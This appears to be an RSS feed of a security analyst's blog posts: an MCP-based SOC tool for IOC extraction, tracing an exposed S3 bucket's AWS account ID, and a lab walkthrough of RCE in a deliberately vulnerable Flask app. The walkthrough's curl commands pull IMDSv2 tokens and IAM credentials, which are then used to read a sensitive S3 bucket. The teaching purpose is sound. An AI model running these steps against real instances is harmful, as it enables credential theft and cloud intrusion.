src="https://cdn-images-1.medium.com/max/1024/1*FkhlXpRl7w1xcE-rurMCPw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dYK4UALbJLlGpfw6FWzDaw.png" /></figure><h4>🎯 Real World Use Case: Analyzing a Malware Incident</h4><p>Let me show you how I actually used this during a real investigation scenario.</p><p>I had these files in my workspace:</p><ul><li>Attack_Traffic.pcap — network traffic capture</li><li>sample_log.txt — host based security logs</li><li>INC-2024-001_report.txt — my IR report</li></ul><p>I asked Claude (via MCP) to analyze my .pcap logs and extract IOCs. Within seconds, it pulled out <strong>475+ indicators</strong> including:</p><ul><li>🔴 <strong>4 malicious C2 IPs</strong>: 89.44.197.xx, 185.202.93.xx, 185.225.19.xx, 194.180.174.xx</li><li>🌐 <strong>42 suspicious URLs</strong> including a fake collaboration portal phishing domain (securefake-sharepoint.com)</li><li>💀 <strong>Malware filenames</strong>: host32_pic.bin, host64_sh.bin, svchost.bin, mlp.php (web shell!)</li><li>🔑 <strong>File hashes</strong> ready for VirusTotal lookups</li></ul><p>Then I asked Claude to reconstruct the <strong>attack timeline</strong> and it mapped out the full kill chain:</p><pre>Phase 1 → Phishing via fake sharepoint portal<br>Phase 2 → Payload delivery (host32/64_pic.bin)<br>Phase 3 → Persistence via Ruby scripts + PHP web shell<br>Phase 4 → C2 beaconing to 4 external IPs<br>Phase 5 → Lateral movement with credential spraying</pre><p>This would normally take me 30 to 45 minutes manually. With this tool? <strong>Under 5 minutes.</strong> ⚡</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MS9d1xFYomgapdjPoDSzwQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RyjdVAnfLzCHrtGWpcn0eQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sOeMQxELzkbgOR4IIc78fA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lus1KIdYz-MWibm4iYeL2A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4F2kuzhouL4vo5Op2fgNMQ.png" /></figure><h4>🏗️ How I Built It: Architecture Overview</h4><p>Here’s the high level architecture:</p><pre>┌─────────────────────────────────────┐<br>│         Claude (via Claude.ai)      │<br>│    + MCP Protocol Connection        │<br>└────────────────┬────────────────────┘<br>                 │<br>        MCP Server (Local)<br>                 │<br>    ┌────────────▼────────────┐<br>    │  SOC Investigation Tools│<br>    │  list_files             │<br>    │  read_file              │<br>    │  extract_iocs           │<br>    │  search_in_files        │<br>    │  create_ir_report       │<br>    │  organize_files         │<br>    │  write_file             │<br>    │  append_to_file         │<br>    └────────────┬────────────┘<br>                 │<br>    ┌────────────▼────────────┐<br>    │   Investigation Files   │<br>    │   (Local Directory)     │<br>    └─────────────────────────┘</pre><p><strong>Tech Stack:</strong></p><ul><li>🤖 <strong>Claude</strong> (Anthropic) — the AI brain</li><li>🔌 <strong>MCP (Model Context Protocol)</strong> — tool connectivity layer</li><li>🐍 <strong>Python</strong> — MCP server implementation</li><li>📁 <strong>Local file system</strong> — investigation workspace</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fBOO73B3608jjEHAJbkH8w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UZYYz40HAAtd-gMQX9Sxog.png" /></figure><h4>💡 Why This Matters for Security Analysts</h4><p>Look, I get it. There are a LOT of “AI + security” projects out there. So let me tell you what makes this one practical:</p><p><strong>1. It stays local 🔒</strong> Your investigation data never leaves your machine. No sending sensitive PCAPs or IR reports to a cloud API.</p><p><strong>2. It speeds up the boring stuff ⚡</strong> IOC extraction, file searching, report generation. These are repetitive tasks. Let the AI handle them so you can focus on the actual analysis.</p><p><strong>3. It’s extensible 🔧</strong> MCP makes it easy to add new tools. Need a VirusTotal lookup tool? MITRE ATT&amp;CK mapper? Slack alert sender? Just add it to your MCP server.</p><p><strong>4. It’s a great learning project 🎓</strong> Even if you never use this in production, building this teaches you MCP, AI tool integration, and Python. All hot skills right now.</p><h4>🚀 What’s Next?</h4><p>I’m planning to extend this with:</p><ul><li>🔴 <strong>VirusTotal API integration</strong> — auto lookup IOCs</li><li>🗺️ <strong>MITRE ATT&amp;CK mapping</strong> — auto tag TTPs from the report</li><li>📊 <strong>Dashboard</strong> — visualize IOCs and timelines</li><li>🔔 <strong>Slack/Teams alerts</strong> — notify the team when critical IOCs are found</li></ul><h4>🎤 Final Thoughts</h4><p>MCP is genuinely one of the most exciting things to happen to AI tooling this year. And as security analysts, we’re in a unique position to leverage it. We deal with structured investigation workflows, repeatable tasks, and tons of file based data. That’s exactly what MCP was made for.</p><p>If you’re a SOC analyst, detection engineer, or just someone who loves building cool security tools, I’d highly encourage you to give MCP a shot.</p><p>And if you found this helpful, hit that 👏 and follow me for more blogs like this. I’ll be posting more on cloud security, detection engineering, and AI powered security workflows very soon!</p><p><strong>Until next time stay curious, stay secure! 🛡️</strong></p><p><em>Revanth S | Security Analyst/Engineer | Cloud &amp; On-Prem Guardian</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aec32d5f28aa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ Think Like a Security Analyst: Tracking AWS Account IDs from Public S3 Buckets ️‍♂️]]></title>
            <link>https://revanthselvam.medium.com/think-like-a-security-analyst-tracking-aws-account-ids-from-public-s3-buckets-%EF%B8%8F-%EF%B8%8F-7abbab0dccb9?source=rss-dc408eb3cc35------2</link>
            <guid isPermaLink="false">https://medium.com/p/7abbab0dccb9</guid>
            <category><![CDATA[sensitive-data]]></category>
            <category><![CDATA[analysis]]></category>
            <category><![CDATA[accountid]]></category>
            <category><![CDATA[s3-bucket]]></category>
            <category><![CDATA[cloud-security]]></category>
            <dc:creator><![CDATA[Revanth S]]></dc:creator>
            <pubDate>Sat, 08 Mar 2025 11:01:22 GMT</pubDate>
            <atom:updated>2025-03-09T14:17:18.606Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QAHfzqKAuc0L_akVv7MAag.jpeg" /></figure><p>Alright, team! Let’s <strong>dive into a real-world security incident</strong> — but instead of just reading, I want you to <strong>think like a Security Analyst.</strong> 🕵️‍♂️</p><p>🛡️ <strong>CyberXYZOrg has both a SecOps Team and a Threat Intel Team</strong> working together to <strong>detect, analyze, and respond</strong> to cyber threats. One of the key tasks of the <strong>Threat Intel Team</strong> is <strong>monitoring the dark web</strong> for leaked data.</p><p>But today, something <strong>ALARMING</strong> has been found! 🚨</p><p><strong>Threat Intel Alert:</strong></p><p>🕵️‍♂️ “We’ve detected sensitive company information exposed in an <strong>S3 bucket!</strong> 🚨 The data seems critical. We need immediate action from the <strong>SecOps team.</strong> Security ticket raised! 🎫”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*8n3aVejfqUzL-ds-2n15yg.png" /><figcaption>Security Alert</figcaption></figure><h3>Well, looks like we’ve got some detective work to do. 🕵️‍♂️ Let’s break it down step by step!</h3><h3>Step 1: Finding Out Who Owns This S3 Bucket 🤔</h3><p>The <strong>first thing</strong> we need to know is <strong>who owns this bucket</strong> — is it someone within our company, or is it <strong>completely external</strong>?</p><p>But wait… how do we even check that?</p><h4>🔎 <strong>Start with internal sources:</strong></h4><ul><li>Does our company <strong>maintain an AWS inventory</strong>? (Check with CloudOps or IT teams)</li><li>If you have an <strong>AWS Account ID</strong>, that’s GOLD! 🎯 It tells us whether the bucket belongs to <strong>any internal teams.</strong></li></ul><p>But here’s the problem… 😕</p><p>After searching, we <strong>find nothing related to this bucket</strong> in our internal records. Uh-oh. That means…</p><p>🚨 <strong>This might be an external, publicly exposed bucket!</strong></p><h3>Step 2: Is This Bucket Publicly Exposed? 🌍</h3><p>Now, let’s confirm our suspicion. <strong>Is this bucket really public?</strong></p><p>Here’s how we check:</p><p>🔹 <strong>Method 1:</strong> Try accessing it directly in your browser:</p><p>👉 https://&lt;your-bucket-name&gt;.s3.amazonaws.com/</p><p><strong>What happens?</strong></p><p>✅ If the bucket is <strong>public</strong>, you’ll see its contents (files, data, etc.) directly.</p><p>❌ If it’s <strong>restricted</strong>, you’ll get an “Access Denied” error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*y02rFYnJypFK2IBM0NgVHw.png" /></figure><p>🔹 <strong>Method 2:</strong> Try opening it in the AWS Console:</p><p>👉 https://s3.console.aws.amazon.com/s3/buckets/&lt;your-bucket-name&gt;/</p><p><strong>What happens?</strong></p><p>✅ If it opens, you (or your org) have access to it.</p><p>❌ If it asks for IAM authentication, it’s restricted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YhUWHep-Y-2CZ0dMSU5MiQ.png" /><figcaption>Objects are visible to Public</figcaption></figure><p>💡 <strong>If you’re seeing files directly, that means… yep, the bucket is public! 🚨</strong></p><h3>Step 3: Extracting &amp; Analyzing the Data 🕵️‍♂️</h3><p>Okay, now that we <strong>confirmed the bucket is public</strong>, let’s see what’s inside.</p><p>Inside the Threat Intel alert, we see that <strong>several sensitive files were detected</strong>. Time to check what kind of data is exposed.</p><p><strong>Some key questions to ask:</strong></p><p>🔹 <strong>Do these files contain user credentials?</strong> (API keys, passwords, database access)</p><p>🔹 <strong>Are there employee records?</strong> (Emails, IDs, sensitive PII)</p><p>🔹 <strong>Is there any financial or proprietary data?</strong> (Credit card details, internal reports)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*iyRNuEMlRfKTcmdkWfZT6Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/987/1*ZMnO55QwN-gY37uuvhK7qg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*DJsmxzr06c-uQsjW86Z9Kw.png" /></figure><p>⚠️ <strong>If credentials are exposed, assume they are compromised!</strong></p><h3>Step 4: Damage Control — Securing Our Data 🚧</h3><p>Now that we know sensitive data is out there, it’s time to <strong>lock things down</strong> before an attacker exploits it.</p><h4>🔐 <strong>For leaked credentials:</strong></h4><p>✅ <strong>Immediately rotate credentials</strong> (passwords, API keys, database access).</p><p>✅ <strong>Enforce MFA (Multi-Factor Authentication)</strong> to add extra security.</p><h4>👨‍💻 <strong>For employee data leaks:</strong></h4><p>✅ Check if affected <strong>emails/passwords</strong> have been found in <strong>breach forums</strong> (e.g., <a href="https://haveibeenpwned.com/">Have I Been Pwned</a>).</p><p>✅ Ask employees to <strong>reset passwords</strong> and use <strong>strong, unique ones.</strong></p><h4>📊 <strong>For security monitoring:</strong></h4><p>✅ Set up <strong>real-time alerts</strong> for suspicious logins or phishing attempts.</p><p>✅ Add <strong>dashboard monitoring</strong> for affected users to detect potential misuse.</p><h3>Step 5: Can We Track Who Exposed This? 🕵️‍♂️</h3><p>Now comes the <strong>final and most important part</strong>: finding <strong>who</strong> made this mistake.</p><p>🔹 Since we couldn’t find an internal owner, let’s try tracking the <strong>AWS Account ID</strong> linked to the bucket.</p><p>🔹 If it’s external, we can <strong>report it to the AWS Abuse Team</strong> to request a takedown.</p><p>💡 <strong>Pro Tip:</strong> AWS does take security reports seriously, but they’ll need proof of exposure and the <strong>account ID or bucket details</strong> to take action.</p><h3>Step 6: Identifying the Exposed S3 Bucket’s AWS Account ID 🔎</h3><p>💡 <strong>AWS assigns a unique 12-digit Account ID to every AWS account. If we can retrieve this ID, we can track the owner!</strong></p><h4>🛠️ How Do We Find the Account ID?</h4><p>To track the owner of an exposed S3 bucket, we’ll use a method demonstrated by security researcher <strong>Ben Bridts</strong>, who showed how to <strong>brute-force an AWS account ID</strong> using policy conditions.</p><p>This method, while more <strong>red-team oriented</strong>, is a valuable skill for defenders to <strong>think like an attacker</strong> and secure misconfigured S3 buckets.</p><h4>💡 <strong>How Does the Tool Work?</strong></h4><p>The tool helps uncover the AWS Account ID linked to a public S3 bucket by systematically testing access conditions:</p><p>🔢 <strong>Digit-by-Digit Guessing</strong> — Instead of testing all 12-digit account numbers (which would take forever), the tool <strong>uses wildcard matching</strong>. It starts by checking if the first digit is <strong>“1”, “2”, “3”</strong>, etc. Once the correct first digit is found, it moves on to the next, <strong>narrowing billions of possibilities to just a few hundred tries</strong>.</p><p>🔄 <strong>Checking Access Responses</strong> — The tool attempts to access an object in the bucket using <strong>temporary AWS credentials</strong> and a <strong>special policy condition</strong>. If it gets <strong>“Access Denied,”</strong> the guess was wrong. If access is granted, the guess was correct.</p><p>♻️ <strong>Repeating Until the Full Account ID is Found</strong> — By repeating this process <strong>10–12 times</strong>, the tool can <strong>fully uncover</strong> the AWS Account ID of the bucket owner.</p><p>🔗 <strong>Reference:</strong> You can follow the detailed implementation steps in <a href="https://pwnedlabs.io/labs/identify-the-aws-account-id-from-a-public-s3-bucket">this guide</a>.</p><h4>🚀 <strong>Implementation:</strong></h4><p>1️⃣ <strong>Set up an AWS IAM user and role</strong> with the necessary permissions and trusted policies as detailed in the guide.<br> 2️⃣ <strong>Install and use the </strong><strong>s3-account-search tool</strong> to automate the process.</p><pre>python3 -m pip install s3-account-search</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*XpuPTELa_FJpRsw-wKkl5g.png" /><figcaption>IAM User s3_detector</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/1*cW8qIz8FVvgxDttcbiUqSA.png" /></figure><p>3️⃣ Run the command to extract the AWS Account ID:</p><pre>s3-account-search &lt;your-arn-role&gt; exposed-cloud-data</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R-d0_SsNCZ89wBpDLBz-hw.png" /><figcaption>Extracted Account ID</figcaption></figure><p>📌 Boom! We got the AWS Account ID of the bucket owner! 🎯 Now, let’s move on to the next steps.</p><h3>Step 7: Reporting &amp; Final Actions 🛡️</h3><p>Now that we’ve successfully uncovered the AWS Account ID associated with the exposed bucket, it’s time to take action! 🚀</p><h4>📩 Reporting to AWS Security Team</h4><p>Since this bucket isn’t owned by CyberXYZOrg, we must escalate the issue to AWS for a potential takedown. AWS has a dedicated <a href="https://support.aws.amazon.com/#/contacts/report-abuse"><strong>Abuse Reporting Team</strong></a>, and they take security incidents seriously. Here’s what we need to provide in our report:</p><p>✅ <strong>Exposed Bucket Name</strong> — The exact S3 bucket that’s publicly accessible.</p><p>✅ <strong>AWS Account ID</strong> — The owner’s account ID we just retrieved.</p><p>✅ <strong>Proof of Exposure</strong> — Screenshots or evidence showing public access.</p><p>✅ <strong>Description of Risk</strong> — Explain what type of sensitive data is exposed.</p><p>AWS will review the report and take necessary action, which may include notifying the bucket owner or enforcing security policies.</p><h4>🔒 Strengthening Our Internal Security</h4><p>While we’ve reported the issue externally, we also need to <strong>ensure our own security posture is strong</strong> to prevent similar incidents. Some key steps:</p><p>🔹 Implement automated scanning tools to detect misconfigurations in real time and configure alerts to be sent directly to email, Slack webhooks, or SIEM dashboards for quick response.</p><p>🔹 Correlate GuardDuty and CloudTrail logs within a SIEM to monitor and detect misconfiguration or threat patterns.</p><p>🔹 Enforce organization-wide policies to prevent public access to S3 buckets unless explicitly required.</p><p>🔹 Provide security training to developers and IT teams on best practices for secure cloud storage.</p><h4>✅ Final Check — Staying One Step Ahead</h4><p>Even after taking all these steps, continuous monitoring is crucial. We should:</p><p>🔍 Regularly scan the dark web/other threat intel forums for new data leaks related to our organization.</p><p>🔍 Conduct periodic security drills to test our incident response capabilities.</p><p>🔍 Ensure all critical assets have <strong>MFA-enabled access and proper encryption</strong> to minimize risks.</p><h3>🎯 Mission Accomplished!</h3><p>With everything locked down and reported, we’ve successfully mitigated this security threat! <strong>Great job, team!</strong> 💪🚀 But remember, security is an ongoing process stay vigilant, stay proactive, and keep hunting for threats! 🕵️‍♂️🔥</p><h3>📝 Note:</h3><p>Hey analysts, if you don’t have the environment set up to try this yourself — don’t worry! 🚀 The <strong>PwnedLabs team</strong> offers a <strong>free lab</strong> where you can explore and experience this in a controlled setup. Just spin up the lab, follow the walkthrough, and gain hands-on experience.</p><p>To make things even easier, I’ve included all the relevant <strong>reference links</strong> below for quick access. Happy learning! 🎯🔍</p><p>🔹 <strong>Lab:</strong> <a href="https://pwnedlabs.io/labs/identify-the-aws-account-id-from-a-public-s3-bucket">PwnedLabs — Identify AWS Account ID from a Public S3 Bucket</a></p><p>🔹 <strong>Tool:</strong> <a href="https://github.com/WeAreCloudar/s3-account-search">GitHub — s3-account-search</a></p><p>🔹 <strong>Article:</strong> <a href="https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/">Finding the Account ID of Any Public S3 Bucket</a></p><h3>💬 Got Thoughts? Let’s Connect! 🚀</h3><p>Hey, I’d love to hear your thoughts on this! If you have any questions, insights, or just want to geek out over security, feel free to <a href="https://www.linkedin.com/in/revanth-s-15a410b7/">DM me</a>. 💡 If you spot something that needs a tweak, let me know. I’m always up for learning and improving! 🔥</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7abbab0dccb9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[RCE via EC2 IMDSv2 and Full Access to Sensitive S3]]></title>
            <link>https://revanthselvam.medium.com/rce-via-ec2-imdsv2-and-full-access-to-sensitive-s3-5d7ab416aa0e?source=rss-dc408eb3cc35------2</link>
            <guid isPermaLink="false">https://medium.com/p/5d7ab416aa0e</guid>
            <category><![CDATA[exploit]]></category>
            <category><![CDATA[s3-bucket]]></category>
            <category><![CDATA[imdsv2]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[ec2]]></category>
            <dc:creator><![CDATA[Revanth S]]></dc:creator>
            <pubDate>Sun, 02 Mar 2025 08:34:32 GMT</pubDate>
            <atom:updated>2025-03-08T05:50:21.225Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey folks! Welcome back to my blog!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FL8qQzt1HofjVQ8hoOVvyQ.jpeg" /></figure><h3>Goal:</h3><h4>Today, we’re exploiting a <strong>Remote Code Execution </strong>vulnerability and grabbing some <strong>hidden gems</strong> from an S3 bucket using <strong>IMDSv2 metadata</strong>. Let’s dive right in! 🔥</h4><p>Before we get our hands dirty, let’s break down a couple of terms to make sure we’re all on the same page.</p><h3>What is RCE (Remote Code Execution)?</h3><p><strong>RCE</strong> is the golden ticket for hackers — it’s a vulnerability that allows an attacker to run arbitrary code on a remote system. 🎯 When an app doesn’t validate user input properly, a malicious user can make it run anything they want (hello shell commands!). Bad input, bad news.</p><p>Next, let’s talk about something equally important <strong>Instance Metadata Service (IMDS)</strong>. Hold tight, it’s about to get interesting!</p><h3>What Is IMDS (Instance Metadata Service)?</h3><p><strong>IMDS</strong> is like AWS’s self-checkout system for EC2 instances. It provides metadata about an EC2 instance, such as its <strong>IAM roles</strong>, <strong>instance ID</strong>, and other critical information. EC2 instances use IMDS to interact securely with AWS services, like accessing temporary <strong>IAM credentials</strong>.</p><p><strong>IMDS Versions: The Lowdown</strong></p><ul><li><strong>IMDSv1</strong>: Can be accessed directly via HTTP, which makes it <strong>easy</strong> for attackers to snatch metadata (bad news for security!). 🚨</li><li><strong>IMDSv2</strong>: Requires <strong>session tokens</strong>, adding a layer of security. You can’t access metadata without proving who you are first. 🛡️</li></ul><p>For this blog, we’re focusing on exploiting <strong>IMDSv2</strong> — and we’re going to have some fun! 😈</p><h3>Step-by-Step Exploit Approach</h3><p>Here’s your cheat sheet for the mission.</p><ol><li>Launch an EC2 instance and make sure <strong>IMDSv2</strong> is enabled.</li><li>Deploy an <strong>RCE-vulnerable</strong> application on that instance.</li><li>Attach an <strong>IAM Role</strong> to the EC2 instance with permissions to access S3.</li><li>Host the application on a publicly accessible port.</li><li>Create an <strong>S3 bucket</strong> and upload sensitive files (because what’s an exploit without a treasure chest? 🏴‍☠️).</li><li>Interact with the vulnerable app and request <strong>IMDSv2</strong> metadata.</li><li>Use the stolen credentials to access the sensitive S3 bucket.</li><li>Capture the flag(sensitiveinfo)! 🎉</li></ol><p>(<strong>Note:</strong> We won’t be diving into every single step, as that would make the blog unnecessarily lengthy. Instead, I’ve set up a prebuilt AWS environment to keep the focus on the core concept and execution.)</p><h3>Code Breakdown &amp; The Hidden Danger💻</h3><p>I’ve set up a <strong>Python Flask</strong> app that’s intentionally vulnerable to RCE. Here’s the setup — keep your eyes peeled for the crucial exploit points. 🧐</p><p><strong>Python Flask Code</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GjeorAAkg2JO921_05_xMw.png" /></figure><p>We’re using a simple <strong>Python Flask</strong> app that lets us evaluate <strong>math expressions</strong>. But here’s the catch: the app evaluates <strong>anything</strong> you type, including shell commands, because of subprocess.check_output().</p><p><strong>Html Code</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xNqlneJtM6iz37iplwI1-g.png" /></figure><p>To make the understanding very clear, I’ve designed the <strong>front-end HTML code</strong>, which visually shows the issue. Here’s a look:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0JonS0rEIxAf97Ikmh2VRA.png" /></figure><p>When the user enters an expression in the input box and clicks <strong>“Calculate”</strong>, the JavaScript function calculate() is triggered. This function sends the user input as a <strong>GET request</strong> to the backend with the expression parameter, like so: GET /calculate?expression=5+3. If the user enters a simple arithmetic expression (e.g., 5+3), the backend evaluates it using the eval() function. However, if the input is not a valid arithmetic expression, the backend treats it as a <strong>shell command</strong> and executes it using subprocess. 😱</p><h3>Testing the Vulnerability</h3><p>Now, when we run this app, we get a basic calculator. Try entering 5 + 3, and it’ll give us 8 as expected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/451/1*P31Nof-lSC0MbXRtvzWCJg.png" /></figure><p>But here’s where the fun starts! If we try entering <strong>non-math expressions</strong> (like whoami), <strong>bam</strong>, the server will execute that as a shell command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/436/1*_O8rDZxDlhceCa6Un_al1w.png" /></figure><h3>Exploiting the Vulnerability — Let’s Get to It! 😎</h3><p>Alright, time to roll up our sleeves and dive into the fun stuff! 🎉</p><p>As part of our initial recon, we discovered that the IP belongs to <strong>Amazon</strong>, and the hostname points to <strong>EC2</strong>. This confirms that the web app is hosted using <strong>AWS EC2</strong>. 🚀 Now, let’s zoom in on EC2’s <strong>IMDS</strong> (Instance Metadata Service) to grab some juicy info, like roles and credentials. 🍒</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*e3g3e63ObOsTw_pgQModyg.png" /></figure><p><strong>Step 1: Check Which IMDS Version We’re Dealing With</strong> 🕵️‍♂️</p><p>First things first: we need to check which version of <strong>IMDS</strong> is running. I quickly typed in the initial command into the user input field:</p><pre>curl &lt;http://169.254.169.254/latest/meta-data/&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*_P4b8QtEL04_tNK02Qb4xA.png" /></figure><p>But… <strong>no response</strong>. 😕 This indicates that <strong>IMDS v1</strong> isn’t enabled here. No worries, let’s try something else!</p><p><strong>Step 2: Switch to IMDSv2 — Time for Tokens!</strong> 🔑 Since <strong>IMDS v1</strong> didn’t work, I suspect we’re dealing with <strong>IMDSv2</strong>. This version comes with a bit more security, so it’s not as straightforward. We need to first grab a token. 💡</p><p>Here’s the magic command to get it:</p><pre>curl -X PUT &quot;&lt;http://169.254.169.254/latest/api/token&gt;&quot; -H &quot;X-aws-ec2-metadata-token-ttl-seconds: 21600&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D5T1CE-8-XyyXv_w3ecGqw.png" /></figure><p>And guess what? 🎉 We <strong>successfully</strong> obtained the token! Woohoo! Just so you know, this token works like a <strong>temporary access pass</strong>, and it expires after a certain period. So, we’ll need to grab a new one once it expires.</p><p><strong>Step 3: Test the Token — Let’s Get That Instance ID!</strong> 💥 Now that we’ve got our token, let’s see if it works as expected. The next step is to grab the <strong>instance ID</strong> using the token. Here’s the command:</p><pre>curl -H &quot;X-aws-ec2-metadata-token:&lt;your-token&gt;&quot; &lt;http://169.254.169.254/latest/meta-data/instance-id&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/492/1*B5xcqHQNIXOAXIUAy5p8NA.png" /></figure><p>✅ The token worked, and we got the <strong>instance ID</strong>.</p><p><strong>Step 4: Let’s Look for IAM Roles — Something’s Fishy!</strong> 🐟</p><p>Now, let’s search for some <strong>IAM roles</strong> attached to this instance. Could be something interesting there… 👀</p><pre>curl -H &quot;X-aws-ec2-metadata-token:&lt;your-token&gt;&quot; &lt;http://169.254.169.254/latest/meta-data/iam/security-credentials/&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/456/1*7DtERt_ByVHF1IHzla2sjw.png" /></figure><p>We found the role <strong>“RCERole”</strong>. Let’s see what secrets it holds! 🧐</p><p><strong>Step 5: Extract Temporary Security Credentials — Let’s Get Secure!</strong> 🔒 Let’s extract the <strong>temporary security credentials</strong> associated with this role using the command below:</p><pre>curl -H &quot;X-aws-ec2-metadata-token:&lt;your-token&gt;&quot; &lt;http://169.254.169.254/latest/meta-data/iam/security-credentials/your-role&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/467/1*Ur2In8ovlSmkIgBOKzlPCw.png" /></figure><p>Boom! 💥 We’ve successfully grabbed the credentials. Now, let’s put them to work! ⚙️</p><p><strong>Step 6: Set Up AWS CLI Profile — Time to Explore!</strong> 🔧</p><p>Now, we’ll set up an <strong>AWS CLI profile</strong> using the credentials we just extracted: The credentials are successfully stored under <strong>/.aws/credentials</strong>. 🎉</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*Xez7wOeClkCTFOqE6k2k3w.png" /></figure><p><strong>Step 7: Verify the Credentials — Are They Valid?</strong> ✅</p><p>Let’s verify if the credentials are valid by calling the traditional <strong>GetCallerIdentity</strong> API:</p><pre>aws sts get-caller-identity --profile EC2</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/744/1*EdKSUbtn8ZGpF0g3TOmM8Q.png" /></figure><p>And guess what? ✅ <strong>Credentials are valid</strong>, and everything looks good!</p><p><strong>Step 8: Check Permissions — What Can We Do with These Credentials?</strong> 🔑</p><p>We’ve successfully extracted the <strong>temporary security credentials</strong> (yay! 🎉), and now it’s time to see what <strong>permissions</strong> they grant us. What are we allowed to do with these creds? 🤔</p><p>To figure that out, we’ll need to use some basic <strong>AWS enumeration methods/tools</strong> to pull up the permissions associated with the credentials. This is where we usually dive into AWS enumeration tools, but for the sake of this blog, we’re going to <strong>keep it simple</strong> and not go too deep into that. 🏊‍♂️</p><p>For now, let’s assume that we’ve already figured out that these credentials give us access to a super <strong>sensitive S3 bucket</strong> called <strong>“sensitiveinstancerepo”</strong>.</p><p><strong>Step 9: Access Sensitive Bucket — Let’s See What We Got!</strong> 📂 Now that we’ve got valid credentials, let’s access the sensitive S3 bucket named <strong>“sensitiveinstancerepo”</strong> and see what’s inside:</p><pre>aws s3 ls s3://sensitiveinstancerepo --recursive --profile EC2</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*ip76BJDn0czVpElQ-sjhcA.png" /></figure><p><strong>Step 10: Download and Inspect Files — What’s in the Creds.txt?</strong> 🧐</p><p>Let’s dig deeper into the <strong>Creds.txt</strong> file inside the bucket. Time to download it:</p><pre>aws s3 cp s3://sensitiveinstancerepo/Creds.txt . --profile EC2 &amp;&amp; cat ./Creds.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*-xKLUelJSQcH-HsbDznvrQ.png" /></figure><p>Hmm… Looks like the file contains an <strong>encoded string</strong>. After a little research, I found that this string is <strong>base64 encoded</strong>. Let’s decode it! 🔍</p><p><strong>Step 11: Decode and Discover — We’ve Hit the Jackpot!</strong> 🏆</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*AfWiYNSJu5uPu9BRA7nLVQ.png" /></figure><p>I decoded the string, and guess what I found? <strong>The Org Root Credentials</strong> sitting in the <strong>sensitiveinstancerepo</strong> bucket! 😱 With this, we can further <strong>escalate</strong> our access. 🚀</p><h3>Wrapping It Up — Happy Hacking! 🎉</h3><p>Well, there you have it — we exploited the vulnerability, found the creds, and escalated our access. Now it’s time to get our hands dirty with some <strong>elevated privileges</strong>! 🕹️</p><h3>How to Prevent This RCE Vulnerability in our Code? 🚫</h3><p>If you want to prevent <strong>RCE vulnerabilities</strong> in our code (and you do, trust me 😜), here’s what we can do:</p><ul><li>Avoid using functions like eval() for user input. Only perform operations that are strictly necessary (like simple arithmetic calculations). 🧮</li><li>Use <strong>regular expressions</strong> or other input validation techniques to ensure the input is <strong>safe</strong> and only contains valid mathematical expressions. Only allow digits, operators (+, -, *, /), parentheses, and spaces. 👍</li><li>Don’t use <strong>subprocess</strong> or similar methods that can execute system commands. Keep it simple and stick to arithmetic calculations. 🔒</li><li>If you really <strong>need</strong> to use eval() for evaluating math expressions, restrict access to dangerous built-ins by using a <strong>safe evaluation environment</strong>. Disable access to built-in functions like open(), os.system(), etc. 🚫</li></ul><h3><strong>Note: 🔥</strong></h3><p>Hey, thanks for sticking around till the end! 🚀 I know I didn’t dive into the lab part here, but if you’re eager to try this out in real-time and see how it actually works, I’d totally recommend checking out the lab offered by the <a href="https://cybr.com/courses/pentesting-aws-environments-with-pacu-cloudgoat-and-chatgpt/">Cyber</a> team. 🧑‍💻💡 Just a heads-up you might not find the exact same steps as in my blog, but trust me, the logic behind it is exactly the same! 